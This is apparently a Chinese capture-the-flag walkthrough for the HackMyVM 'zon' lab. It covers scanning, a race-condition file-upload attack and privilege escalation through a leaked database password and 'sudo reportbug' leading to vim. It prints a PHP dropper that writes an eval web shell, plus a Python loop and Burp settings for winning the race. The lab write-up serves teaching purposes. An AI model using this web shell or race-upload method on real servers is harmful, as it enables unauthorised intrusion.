hackmyvm靶场--zon

环境

攻击机kali

靶机

未知

主机探测

因为在同一个局域网内使用ARP协议探测存活主机

靶机为192.168.56.128

端口探测

常见的80和22端口

那么一定是寻找web漏洞拿shell了

后台扫描

后台扫描常用dirsearch和gobuster,有时候小字典可能不太行,可以尝试换个大点的字典试试

shell 复制代码
gobuster dir -w /var/www/html/dict/directory-list-lowercase-2.3-medium.txt -u http://192.168.56.128 -t 200 -x php,zip,jsp,asp,bak,jpg,png,mp4,mkv,txt,html,md,git,7z,rar,db,log,docx,xlsx -b 400-404,500

扫出一个后台目录choose.php,并且发现了uploads目录,猜测是文件上传

发现需要上传zip文件,里面是jpeg文件

先上传个正常的

查看一下uploads目录

可以正常访问

想要利用文件上传来拿到shell无非需要满足两个条件

1、成功上传木马文件

2、服务端可以解析该文件

这时,我们上传一个php的木马试试,我的压缩包里面放了一个php文件

结果显示给文件不是jpeg,会被删除

删除两个字,哈哈,让我想到了文件上传的常见考点--条件竞争

我们猜测服务器处理php文件是这样的,当我们在浏览器点击上传键的时候,服务器会先把文件上传到一个目录下,此靶机就是前面找到的uploads目录,然后服务器的脚本代码会对文件的后缀名进行检查,若不是jpeg,那么就会删除,而条件竞争就是利用服务器判断的间隙访问木马文件,在此间隙中,木马已经在服务器中,只不过还来不及判断删除就被我们访问到了,具体的知识涉及到多线程。

实现步骤:

首先准备create-shell.php这个炮灰shell文件,里面写一下代码

php 复制代码
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[11]);?>');?>

开启一个访问的Python脚本,作用为验证shell是否成功上传

python 复制代码
import requests


url1 = "http://127.0.0.1/upload/upload/create-shell.php"    # 定义访问 creat-shell.php
url2 = "http://127.0.0.1/upload/upload/shell.php"   
# 定义访问 shell.php

while True:  # 定义死循环
    html1 = requests.get(url1)  # 请求 create-shell.php
    html2 = requests.get(url2)  # 请求 shell.php
    if html2.status_code == 200:  # 如果 shell.php 返回的http状态码为200
        print('Good job,Win Win Win')  # 打印 Good job.....
        break
        

上传该文件并且使用burp抓包

在最下面输入数字1作为我们的爆破点

接着设置payload

把刚才的1遍历到1000,实现的结果就是burp会发送一摸一样的文件1000次,实现了对服务器的爆破

先运行Python脚本,随后开启burp的爆破模式,一段时间后成功竞争到该文件,说明shell已经成功上传

提权

拿到shell

因为蚁剑环境下不是一个真实的shell,需要我们重新反弹一个

升级shell

/usr/bin/script -qc /bin/bash /dev/null

在网站目录下发现了upload.php上传逻辑点,可以发现服务器确实是先上传了文件后进行判断删除

在网站的目录下发现了一个hashDB.sh的bash脚本,功能它自己写了,验证数据库的完整性

发现了mysqldump -u admin -p这段代码

尝试登录,成功

ssh登录freddie

拿到user.txt

sudo查看发现reportbug有提权的可能性

file /usr/bin/reportbug

python可执行脚本

以root运行

sudo reportbug

一段乱输之后发现有一个vim编辑器提权

拿下root.txtTOC]

相关推荐
獭.獭.2 小时前
Linux -- 文件【上】
linux·运维·服务器·进程·pcb
Johny_Zhao4 小时前
Centos8搭建hadoop高可用集群
linux·hadoop·python·网络安全·信息安全·云计算·shell·yum源·系统运维·itsm
杜子不疼.4 小时前
Linux的生态与软件安装
linux·运维·服务器
Tipriest_5 小时前
离线进行apt安装的过程(在只能本地传输的ubuntu主机上使用apt安装)
linux·运维·ubuntu·apt·install·deb
QMCY_jason6 小时前
Ubuntu 1804 编译ffmpeg qsv MediaSDK libva 遇到的问题记录
linux·ubuntu·ffmpeg
什么蜜桃绵绵冰6 小时前
linux易错题
linux·运维·服务器
Mike_Wuzy6 小时前
【Linux】发展历程
linux
嶔某6 小时前
网络:应用层
linux·服务器·网络·c++
YXWik69 小时前
Linux(centos7)安装 docker + ollama+ deepseek-r1:7b + Open WebUI(内含一键安装脚本)
linux·docker·ai
南玖yy14 小时前
Linux 桌面市场份额突破 5%:开源生态的里程碑与未来启示
linux·运维·服务器·汇编·科技·开源·gradle